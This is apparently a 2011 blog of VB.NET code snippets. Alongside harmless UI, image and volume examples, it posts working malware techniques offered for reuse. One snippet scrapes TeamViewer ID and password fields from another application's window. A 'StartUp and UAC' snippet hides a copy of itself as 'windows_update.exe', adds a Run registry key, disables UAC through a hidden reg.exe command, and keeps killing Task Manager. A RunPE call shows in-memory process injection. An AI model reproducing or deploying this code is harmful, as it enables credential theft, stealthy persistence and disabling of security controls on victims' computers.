Free Hit Counters

Sunday, January 30, 2011

The Matrix Effect

Module Module1

    Sub Main(ByVal args As String())
        Console.Title = "tH3 M7tr1x 3ff3<t"
        Console.ForegroundColor = ConsoleColor.DarkGreen
        Console.WindowLeft = InlineAssignHelper(Console.WindowTop, 0)
        Console.WindowHeight = InlineAssignHelper(Console.BufferHeight, Console.LargestWindowHeight)
        Console.WindowWidth = InlineAssignHelper(Console.BufferWidth, Console.LargestWindowWidth)
#If readkey Then
Console.WriteLine("H1T 7NY K3Y T0 C0NT1NU3 =/")
Console.ReadKey()
#End If
        Console.CursorVisible = False
        Dim width As Integer, height As Integer
        Dim y As Integer()
        Dim l As Integer()
        Initialize(width, height, y, l)
        Dim ms As Integer
        While True
            Dim t1 As DateTime = DateTime.Now
            MatrixStep(width, height, y, l)
            ms = 10 - CInt(DirectCast((DateTime.Now - t1), TimeSpan).TotalMilliseconds)
            If ms > 0 Then
                System.Threading.Thread.Sleep(ms)
            End If
            If Console.KeyAvailable Then
                If Console.ReadKey().Key = ConsoleKey.F5 Then
                    Initialize(width, height, y, l)
                End If
            End If
        End While
    End Sub

    Dim thistime As Boolean = False

    Sub MatrixStep(ByVal width As Integer, ByVal height As Integer, ByVal y As Integer(), ByVal l As Integer())
        Dim x As Integer
        thistime = Not thistime
        For x = 0 To width - 1
            If x Mod 11 = 10 Then
                If Not thistime Then
                    Continue For
                End If
                Console.ForegroundColor = ConsoleColor.White
            Else
                Console.ForegroundColor = ConsoleColor.DarkGreen
                Console.SetCursorPosition(x, inBoxY(CInt(y(x) - 2 - (l(x) / 40 * 2)), height))
                Console.Write(R)
                Console.ForegroundColor = ConsoleColor.Green
            End If
            Console.SetCursorPosition(x, y(x))
            Console.Write(R)
            y(x) = inBoxY(y(x) + 1, height)
            Console.SetCursorPosition(x, inBoxY(y(x) - l(x), height))
            Console.Write(" "c)
        Next
    End Sub

    Private Sub Initialize(ByRef width As Integer, ByRef height As Integer, ByRef y As Integer(), ByRef l As Integer())
        Dim h1 As Integer
        Dim h2 As Integer = CInt((InlineAssignHelper(h1, CInt((InlineAssignHelper(height, Console.WindowHeight)) / 2))) / 2)
        width = Console.WindowWidth - 1
        y = New Integer(width - 1) {}
        l = New Integer(width - 1) {}
        Dim x As Integer
        Console.Clear()
        For x = 0 To width - 1
            y(x) = m_r.[Next](height)
            l(x) = m_r.[Next](h2 * (If((x Mod 11 <> 10), 2, 1)), h1 * (If((x Mod 11 <> 10), 2, 1)))
        Next
    End Sub

    Dim m_r As New Random()

    Private ReadOnly Property R() As Char
        Get
            Dim t As Integer = m_r.[Next](10)
            If t <= 2 Then
                Return CChar(("0"c & m_r.[Next](10)))
            ElseIf t <= 4 Then
                Return CChar(("a"c & m_r.[Next](27)))
            ElseIf t <= 6 Then
                Return CChar(("A"c & m_r.[Next](27)))
            Else
                Return CChar(CChar(CStr((m_r.[Next](32, 255)))))
            End If
        End Get
    End Property

    Public Function inBoxY(ByVal n As Integer, ByVal height As Integer) As Integer
        n = n Mod height
        If n < 0 Then
            Return n + height
        Else
            Return n
        End If
    End Function

    Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
        target = value
        Return value
    End Function

End Module

Sunday, January 23, 2011

TeamViewer ID and PASS

Imports System.Runtime.InteropServices
Imports System.Text

Module Module1

    <DllImport("user32.dll", EntryPoint:="FindWindow", SetLastError:=True)> _
    Private Function FindWindowByCaption(ByVal ZeroOnly As IntPtr, ByVal lpWindowName As String) As IntPtr
    End Function

    <DllImport("user32.dll", SetLastError:=True)> _
    Public Function FindWindowEx(ByVal parentHandle As IntPtr, ByVal childAfter As IntPtr, ByVal className As String, ByVal windowTitle As IntPtr) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
    Private Function SendMessage(ByVal hWnd As IntPtr, ByVal Msg As UInt32, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
    Private Function SendMessage(ByVal hWnd As IntPtr, ByVal Msg As UInt32, ByVal wParam As Integer, ByVal lParam As StringBuilder) As IntPtr
    End Function

    Public Const WM_GETTEXTLENGTH As Integer = &HE
    Public Const WM_GETTEXT As Integer = &HD

    Sub Main()
        Dim view = "TeamViewer"
        Dim hWnd As IntPtr = FindWindowByCaption(IntPtr.Zero, view)
        Dim hWndID As IntPtr = FindWindowEx(hWnd, IntPtr.Zero, "Edit", IntPtr.Zero)
        Dim hWndPass As IntPtr = FindWindowEx(hWnd, hWndID, "Edit", IntPtr.Zero)
        Dim plID As IntPtr = SendMessage(hWndID, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero) + 1
        Dim plP As IntPtr = SendMessage(hWndPass, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero) + 1
        Dim sI As New StringBuilder(CInt(plID))
        Dim sP As New StringBuilder(CInt(plP))
        Dim pID As IntPtr = SendMessage(hWndID, WM_GETTEXT, CInt(plID), sI)
        Dim pPass As IntPtr = SendMessage(hWndPass, WM_GETTEXT, CInt(plP), sP)

        Form1.TextBox1.Text = "ID : " + sI.ToString
        Form1.TextBox2.Text = "Pass : " + sP.ToString
    End Sub

End Module

Saturday, January 22, 2011

Form Transparent while Dragging


Private Const WM_NCLBUTTONDOWN As Long = &HA1
    Private Const WM_NCLBUTTONUP As Long = &HA0
    Private Const WM_MOVING As Long = &H216
    Private Const WM_SIZE As Long = &H5
    Protected Overrides Sub DefWndProc(ByRef m As System.Windows.Forms.Message)
        Static LButtonDown As Boolean
        ' checks left click
        If CLng(m.Msg) = WM_NCLBUTTONDOWN Then
            ' as long as left button is down LButtonDown returns true
            LButtonDown = True
        ElseIf CLng(m.Msg) = WM_NCLBUTTONUP Then
            ' As long as left button is up, LButtonDown returns false
            LButtonDown = False
        End If
        If LButtonDown Then
            If CLng(m.Msg) = WM_MOVING Then
                ' Changes form opacity to 70% if the form is being dragged
                ' You can change the 0.7 to anything 0.1 = 10% 0.2 = 20 % and so on
                If Me.Opacity <> 0.9 Then Me.Opacity = 0.5
            ElseIf CLng(m.Msg) = WM_SIZE Then
                ' Set the forms opacity to 60% if user is resizing the window
                If Me.Opacity <> 0.6 Then Me.Opacity = 0.6
            End If
        ElseIf Not LButtonDown Then
            If Me.Opacity <> 1.0 Then Me.Opacity = 1.0
        End If
        MyBase.DefWndProc(m)
    End Sub

Tuesday, January 11, 2011

StartUp and UAC

Imports System.IO
Imports Microsoft.Win32
Imports System.Environment

Public Class Form1

    Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\"
    Dim Desktop As String = My.Computer.FileSystem.SpecialDirectories.Desktop & "\"
    Dim Program As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles & "\"
    Dim temp As String = GetEnvironmentVariable("temp") & "\"
    Dim windir As String = GetEnvironmentVariable("windir") & "\"
    Dim appdata As String = GetEnvironmentVariable("appdata") & "\"
    Dim programfiles As String = GetEnvironmentVariable("programfiles") & "\"
    Dim systemdrive As String = GetEnvironmentVariable("systemdrive") & "\" 'C:\
    Dim desktop As String = GetFolderPath(SpecialFolder.Desktop) & "\"
    Dim startup As String = GetFolderPath(SpecialFolder.Startup)
    Dim window As String = GetFolderPath(SpecialFolder.System)
    Dim appdata As String = GetFolderPath(SpecialFolder.ApplicationData)
    Dim programfile As String = GetFolderPath(SpecialFolder.CommonProgramFiles)
    Dim mymusic As String = GetFolderPath(SpecialFolder.MyMusic)
    Dim mypics As String = GetFolderPath(SpecialFolder.MyPictures)
    Dim mydocs As String = GetFolderPath(SpecialFolder.MyDocuments)

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Dim filename As String = Process.GetCurrentProcess.MainModule.FileName
        Dim appname As String = Path.GetFileName(Application.ExecutablePath)
        Dim startup As String = GetFolderPath(SpecialFolder.Startup)
        'Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True).SetValue(appname, startup & appname)

        My.Computer.FileSystem.CopyFile(Application.ExecutablePath, startup & appname, True) '("Program.exe", "C:\Program Files\Program.exe")
        'File.Copy(filename, temp & appname)

        'Dim regKey As Microsoft.Win32.RegistryKey
        'regKey = Registry.LocalMachine.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRun", True)
        'regKey.SetValue(appname, startup & appname)
        'regKey.Close()

        ---Shell UAC---

        Shell("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide)

        ---Disabling Taskmanager--- 

        Dim ID = Shell("taskmgr.exe", 0)
        While True
            Process.GetProcessById(ID).WaitForExit()
            Threading.Thread.Sleep(50)
            ID = Shell("taskmgr.exe", 0)
        End While

        ---Bypass UAC---

        Try
            If File.Exists(Path.GetTempPath() & "windows_update.exe") = False Then
                File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() & "windows_update.exe", True)
            End If
            File.SetAttributes(Path.GetTempPath() & "windows_update.exe", File.GetAttributes(Path.GetTempPath() & "windows_update.exe") Or FileAttributes.Hidden)
            'MsgBox("File copy OK")
        Catch e As Exception
        End Try
        Try
            Dim reg = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
            Dim uac = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
            If uac IsNot Nothing Then
                If uac.GetValue("EnableLUA") IsNot Nothing Then
                    uac.SetValue("EnableLUA", "0")
                End If
            End If
            'MsgBox("UAC desactivated")
            If reg IsNot Nothing Then
                If reg.GetValue("windows_update.exe") Is Nothing Then
                    reg.SetValue("windows_update.exe", Path.GetTempPath() & "windows_update.exe")
                End If
            End If
            'MsgBox("Registry access OK and UAC desactivated")
        Catch c As Exception
        End Try
    End Sub

End Class

Thursday, January 6, 2011

Image Functions

Public Shared Function ImageToByteArray(ByVal Img As Image, ByVal Format As ImageFormat) As Byte()
        Dim MS As New MemoryStream
        Img.Save(MS, Format)
        Return MS.GetBuffer
    End Function

    Public Shared Function ByteArrayToImage(ByVal buffer() As Byte) As Image
        Using MS As New MemoryStream(buffer)
            Dim Img As Image = Image.FromStream(MS)
            Return Img
        End Using
    End Function

    Public Shared Function ImageToBase64String(ByVal img As Image, ByVal format As ImageFormat) As String
        Return Convert.ToBase64String(ImageToByteArray(img, format))
    End Function

    Public Shared Function Base64StringToImage(ByVal imageString As String) As Image
        Return ByteArrayToImage(Convert.FromBase64String(imageString))
    End Function

    Public Shared Function ImageToString(ByVal Picture As Image) As String
        If Picture Is Nothing Then Return Nothing
        Dim ReturnString As String = Nothing
        Using MS As New MemoryStream
            Picture.Save(MS, Imaging.ImageFormat.Jpeg)
            MS.Flush()
            MS.Position = 0
            Dim buffer = MS.ToArray
            ReturnString = Convert.ToBase64String(buffer)
        End Using
        Return ReturnString
    End Function

    Public Shared Function StringToImage(ByVal ImageEncodedString As String) As Image
        If String.IsNullOrEmpty(ImageEncodedString) Then Return Nothing
        Dim Img As Image = Nothing
        Dim Buffer() As Byte = Convert.FromBase64String(ImageEncodedString)
        Using MS As New MemoryStream
            MS.Position = 0
            MS.Write(Buffer, 0, Buffer.Length - 1)
            Img = Image.FromStream(MS)
        End Using
        Return Img
    End Function

    Public Shared Function StringToImageStream(ByVal ImageEncodedString As String) As Stream
        If String.IsNullOrEmpty(ImageEncodedString) Then Return Nothing
        Dim buffer = Convert.FromBase64String(ImageEncodedString)
        Dim ms = New MemoryStream(buffer)
        ms.Position = 0
        Return ms
    End Function

    Public Shared Function ImageToPixelFormat(ByVal Img As Bitmap, ByVal format As PixelFormat) As Image
        Dim bmp As New Bitmap(Img.Width, Img.Height, format)
        Using gr As Graphics = Graphics.FromImage(bmp)
            gr.DrawImage(Img, 0, 0)
        End Using
        Return bmp
    End Function

    Public Shared Sub Screenshot() 'ByVal PictureBox As PictureBox
        Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim Grab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim Screen As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(Grab)
        Screen.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
        Grab.Save(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\image.jpg")
        'PictureBox.Image = Grab
    End Sub

RunPE For VB.NET


CMemoryExecute.Run(IO.File.ReadAllBytes("C:\run_me_in_memory.exe"), "C:\inject_me_in_memory.exe", "(Optional) Command Line Parameters To Be Passed To C:\run_me_in_memory.exe")

Download DLL

Tuesday, January 4, 2011

Custom Fusion Theme


Imports System.Drawing.Drawing2D

Class Pigment
    Property Name As String = "Pigment"
    Property Value As Color = Color.Black

    Sub New()
    End Sub

    Sub New(ByVal n As String, ByVal v As Color)
        Name = n
        Value = v
    End Sub

    Sub New(ByVal n As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte)
        Name = n
        Value = Color.FromArgb(a, r, g, b)
    End Sub

    Sub New(ByVal n As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte)
        Name = n
        Value = Color.FromArgb(r, g, b)
    End Sub
End Class

Class FTheme
    Inherits ContainerControl

    Property Resizeable As Boolean = True

    Sub New()
        SetStyle(DirectCast(8198, ControlStyles), True)
        C = {
        New Pigment("Border", Color.Black),
        New Pigment("Frame", 47, 47, 50),
        New Pigment("Border Highlight", 15, 255, 255, 255),
        New Pigment("Side Highlight", 6, 255, 255, 255),
        New Pigment("Shine", 20, 255, 255, 255),
        New Pigment("Shadow", 38, 38, 40),
        New Pigment("Backcolor", 74, 74, 74),
        New Pigment("Transparency", Color.Fuchsia)
        }
    End Sub

    Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs)
        Dock = DockStyle.Fill
        If TypeOf Parent Is Form Then DirectCast(Parent, Form).FormBorderStyle = FormBorderStyle.None
        Colors = C
        MyBase.OnHandleCreated(e)
    End Sub

    Const Count As Byte = 8
    Private C As Pigment()
    Public Property Colors() As Pigment()
        Get
            Return C
        End Get
        Set(ByVal v As Pigment())
            If v.Length <> Count Then Throw New IndexOutOfRangeException

            P1 = New Pen(v(0).Value)
            P2 = New Pen(v(2).Value)

            B1 = New SolidBrush(v(6).Value)
            B2 = New SolidBrush(v(7).Value)

            If Parent IsNot Nothing Then
                Parent.BackColor = v(6).Value
                If TypeOf Parent Is Form Then DirectCast(Parent, Form).TransparencyKey = v(7).Value
            End If

            CB = New ColorBlend
            CB.Colors = {Color.Transparent, v(4).Value, Color.Transparent}
            CB.Positions = {0, 0.5, 1}

            C = v

            Invalidate()
        End Set
    End Property

    Private P1, P2, P3 As Pen
    Private B1, B2 As SolidBrush, B3, B4 As LinearGradientBrush
    Private R1, R2 As Rectangle
    Private CB As ColorBlend

    Private G As Graphics, B As Bitmap
    Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
        B = New Bitmap(Width, Height)
        G = Graphics.FromImage(B)

        G.Clear(C(1).Value)

        G.DrawRectangle(P2, New Rectangle(1, 1, Width - 3, Height - 3))
        G.DrawRectangle(P2, New Rectangle(12, 40, Width - 24, Height - 52))

        R1 = New Rectangle(1, 0, 15, Height)
        B3 = New LinearGradientBrush(R1, C(3).Value, Color.Transparent, 90.0F)
        G.FillRectangle(B3, R1)
        G.FillRectangle(B3, New Rectangle(Width - 16, 0, 15, Height))

        G.FillRectangle(B1, New Rectangle(13, 41, Width - 26, Height - 54))

        R2 = New Rectangle(0, 2, Width, 2)
        B4 = New LinearGradientBrush(R2, Color.Empty, Color.Empty, 0)
        B4.InterpolationColors = CB
        G.FillRectangle(B4, R2)

        G.DrawRectangle(P1, New Rectangle(13, 41, Width - 26, Height - 54))
        G.DrawRectangle(P1, New Rectangle(0, 0, Width - 1, Height - 1))

        G.FillRectangle(B2, New Rectangle(0, 0, 2, 2))
        G.FillRectangle(B2, New Rectangle(Width - 2, 0, 2, 2))
        G.FillRectangle(B2, New Rectangle(Width - 2, Height - 2, 2, 2))
        G.FillRectangle(B2, New Rectangle(0, Height - 2, 2, 2))

        B.SetPixel(1, 1, Color.Black)
        B.SetPixel(Width - 2, 1, Color.Black)
        B.SetPixel(Width - 2, Height - 2, Color.Black)
        B.SetPixel(1, Height - 2, Color.Black)

        e.Graphics.DrawImage(B, 0, 0)
        B3.Dispose()
        B4.Dispose()
        G.Dispose()
        B.Dispose()
    End Sub

    Enum Direction As Integer
        NONE = 0
        LEFT = 10
        RIGHT = 11
        TOP = 12
        TOPLEFT = 13
        TOPRIGHT = 14
        BOTTOM = 15
        BOTTOMLEFT = 16
        BOTTOMRIGHT = 17
    End Enum
    Private Current As Direction
    Sub SetCurrent()
        Dim T As Point = PointToClient(MousePosition)
        If T.X < 7 And T.Y < 7 Then
            Current = Direction.TOPLEFT
            Cursor = Cursors.SizeNWSE
        ElseIf T.X < 7 And T.Y > Height - 7 Then
            Current = Direction.BOTTOMLEFT
            Cursor = Cursors.SizeNESW
        ElseIf T.X > Width - 7 And T.Y > Height - 7 Then
            Current = Direction.BOTTOMRIGHT
            Cursor = Cursors.SizeNWSE
        ElseIf T.X > Width - 7 And T.Y < 7 Then
            Current = Direction.TOPRIGHT
            Cursor = Cursors.SizeNESW
        ElseIf T.X < 7 Then
            Current = Direction.LEFT
            Cursor = Cursors.SizeWE
        ElseIf T.X > Width - 7 Then
            Current = Direction.RIGHT
            Cursor = Cursors.SizeWE
        ElseIf T.Y < 7 Then
            Current = Direction.TOP
            Cursor = Cursors.SizeNS
        ElseIf T.Y > Height - 7 Then
            Current = Direction.BOTTOM
            Cursor = Cursors.SizeNS
        Else
            Current = Direction.NONE
            Cursor = Cursors.Default
        End If
    End Sub
    Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs)
        If e.Button = MouseButtons.Left Then
            If TypeOf Parent Is Form Then
                If DirectCast(Parent, Form).WindowState = FormWindowState.Maximized Then Return
            End If
            If Drag.Contains(e.Location) Then
                Capture = False
                DefWndProc(Message.Create(Parent.Handle, 161, New IntPtr(2), Nothing))
            Else
                If Current <> Direction.NONE And _Resizeable Then
                    Capture = False
                    DefWndProc(Message.Create(Parent.Handle, 161, New IntPtr(Current), Nothing))
                End If
            End If
        End If
        MyBase.OnMouseDown(e)
    End Sub
    Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs)
        If _Resizeable Then SetCurrent()
        MyBase.OnMouseMove(e)
    End Sub
    Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs)
        Invalidate()
        MyBase.OnSizeChanged(e)
    End Sub
    Private ReadOnly Property Drag() As Rectangle
        Get
            Return New Rectangle(7, 7, Width - 14, 35)
        End Get
    End Property
End Class

Class FButton
    Inherits Control

    Private Shadow_ As Boolean = True
    Public Property Shadow() As Boolean
        Get
            Return Shadow_
        End Get
        Set(ByVal value As Boolean)
            Shadow_ = value
            Invalidate()
        End Set
    End Property

    Sub New()
        SetStyle(DirectCast(8198, ControlStyles), True)
        Colors = {
        New Pigment("Border", Color.White),
        New Pigment("Backcolor", 247, 247, 251),
        New Pigment("Highlight", Color.Black),
        New Pigment("Gradient1", 64, 64, 64),
        New Pigment("Gradient2", Color.Black),
        New Pigment("Text Color", Color.White),
        New Pigment("Text Shadow", 30, 0, 0, 0)
        }
        Font = New Font("Verdana", 8)
    End Sub

    Const Count As Byte = 7
    Private C As Pigment()
    Public Property Colors() As Pigment()
        Get
            Return C
        End Get
        Set(ByVal v As Pigment())
            If v.Length <> Count Then Throw New IndexOutOfRangeException

            P1 = New Pen(v(0).Value)
            P2 = New Pen(v(2).Value)

            B1 = New SolidBrush(v(6).Value)
            B2 = New SolidBrush(v(5).Value)

            C = v
            Invalidate()
        End Set
    End Property

    Private P1, P2 As Pen
    Private B1, B2 As SolidBrush, B3 As LinearGradientBrush
    Private SZ As Size, PT As Point

    Private G As Graphics, B As Bitmap
    Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
        B = New Bitmap(Width, Height)
        G = Graphics.FromImage(B)

        If Down Then
            B3 = New LinearGradientBrush(ClientRectangle, C(4).Value, C(3).Value, 90.0F)
        Else
            B3 = New LinearGradientBrush(ClientRectangle, C(3).Value, C(4).Value, 90.0F)
        End If
        G.FillRectangle(B3, ClientRectangle)

        If Not String.IsNullOrEmpty(Text) Then
            SZ = G.MeasureString(Text, Font).ToSize
            PT = New Point(CInt(Width / 2 - SZ.Width / 2), CInt(Height / 2 - SZ.Height / 2))
            If Shadow_ Then G.DrawString(Text, Font, B1, PT.X + 1, PT.Y + 1)
            G.DrawString(Text, Font, B2, PT)
        End If

        G.DrawRectangle(P1, New Rectangle(0, 0, Width - 1, Height - 1))
        G.DrawRectangle(P2, New Rectangle(1, 1, Width - 3, Height - 3))

        B.SetPixel(0, 0, C(1).Value)
        B.SetPixel(Width - 1, 0, C(1).Value)
        B.SetPixel(Width - 1, Height - 1, C(1).Value)
        B.SetPixel(0, Height - 1, C(1).Value)

        e.Graphics.DrawImage(B, 0, 0)
        B3.Dispose()
        G.Dispose()
        B.Dispose()
    End Sub

    Private Down As Boolean
    Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
        If e.Button = MouseButtons.Left Then
            Down = True
            Invalidate()
        End If
        MyBase.OnMouseDown(e)
    End Sub
    Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
        Down = False
        Invalidate()
        MyBase.OnMouseUp(e)
    End Sub
End Class

Class FProgressBar
    Inherits Control

    Private _Maximum As Double = 100
    Public Property Maximum() As Double
        Get
            Return _Maximum
        End Get
        Set(ByVal v As Double)
            _Maximum = v
            Progress = _Current / v * 100
        End Set
    End Property
    Private _Current As Double
    Public Property Current() As Double
        Get
            Return _Current
        End Get
        Set(ByVal v As Double)
            Progress = v / _Maximum * 100
        End Set
    End Property
    Private _Progress As Double
    Public Property Progress() As Double
        Get
            Return _Progress
        End Get
        Set(ByVal v As Double)
            If v < 0 Then v = 0 Else If v > 100 Then v = 100
            _Progress = v
            _Current = v * 0.01 * _Maximum
            Invalidate()
        End Set
    End Property

    Sub New()
        SetStyle(DirectCast(8198, ControlStyles), True)
        Colors = {
        New Pigment("Border", Color.White),
        New Pigment("Backcolor1", 64, 64, 64),
        New Pigment("Backcolor2", Color.Black),
        New Pigment("Highlight", Color.Black),
        New Pigment("Forecolor", Color.White),
        New Pigment("Gloss", 130, 255, 255, 255)
        }
    End Sub

    Const Count As Byte = 6
    Private C As Pigment()
    Public Property Colors() As Pigment()
        Get
            Return C
        End Get
        Set(ByVal v As Pigment())
            If v.Length <> Count Then Throw New IndexOutOfRangeException

            P1 = New Pen(v(0).Value)
            P2 = New Pen(v(3).Value)

            B1 = New SolidBrush(v(4).Value)

            CB = New ColorBlend
            CB.Colors = {v(5).Value, Color.Transparent, Color.Transparent}
            CB.Positions = {0, 0.3, 1}

            C = v
            Invalidate()
        End Set
    End Property

    Private P1, P2 As Pen
    Private B1 As SolidBrush, B2 As LinearGradientBrush
    Private CB As ColorBlend

    Private G As Graphics, B As Bitmap
    Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
        B = New Bitmap(Width, Height)
        G = Graphics.FromImage(B)

        G.Clear(C(2).Value)

        G.FillRectangle(B1, New Rectangle(1, 1, CInt((Width * _Progress * 0.01) - 2), Height - 2))

        B2 = New LinearGradientBrush(ClientRectangle, Color.Empty, Color.Empty, 90.0F)
        B2.InterpolationColors = CB
        G.FillRectangle(B2, ClientRectangle)

        G.DrawRectangle(P1, New Rectangle(0, 0, Width - 1, Height - 1))
        G.DrawRectangle(P2, New Rectangle(1, 1, Width - 3, Height - 3))

        B.SetPixel(0, 0, C(1).Value)
        B.SetPixel(Width - 1, 0, C(1).Value)
        B.SetPixel(Width - 1, Height - 1, C(1).Value)
        B.SetPixel(0, Height - 1, C(1).Value)

        e.Graphics.DrawImage(B, 0, 0)
        B2.Dispose()
        G.Dispose()
        B.Dispose()
    End Sub

    Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs)
        Invalidate()
        MyBase.OnSizeChanged(e)
    End Sub
End Class

Monday, January 3, 2011

Volume Control

Private Declare Function SendMessageA Lib "user32" (ByVal Hwnd As IntPtr, ByVal Message As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
    Private Const WM_APPCOMMAND As Integer = &H319
    Private Const APPCOMMAND_VOLUME_MUTE As Integer = &H80000
    Private Const APPCOMMAND_VOLUME_DOWN As Integer = &H90000
    Private Const APPCOMMAND_VOLUME_UP As Integer = &HA0000
    Public Sub ToggleVolumeMute()
        SendMessageA(Me.Handle, WM_APPCOMMAND, Me.Handle, APPCOMMAND_VOLUME_MUTE)
    End Sub
    Public Sub VolumeUp()
        SendMessageA(Me.Handle, WM_APPCOMMAND, Me.Handle, APPCOMMAND_VOLUME_UP)
    End Sub
    Public Sub VolumeDown()
        SendMessageA(Me.Handle, WM_APPCOMMAND, Me.Handle, APPCOMMAND_VOLUME_DOWN)
    End Sub

Windows Installation DateTime


Get Windows Installation DateTime
Public Shared Function GetWindowsInstallationDateTime(computerName as String) as DateTime
 Dim key as Microsoft.Win32.RegistryKey
 key = Microsoft.Win32.RegistryKey.OpenRemoteBaseKey(Microsoft.Win32.RegistryHive.LocalMachine, computerName)
 key = key.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
 If key IsNot Nothing Then
  Dim startDate as DateTime
  Dim regVal as Int64 
  startDate = new DateTime(1970, 1, 1, 0, 0, 0)
  regVal = Convert.ToInt64(key.GetValue("InstallDate").ToString()) 
  Return startDate.AddSeconds(regVal)
 End If 
 Return DateTime.MinValue
End Function  

Free Hit Counters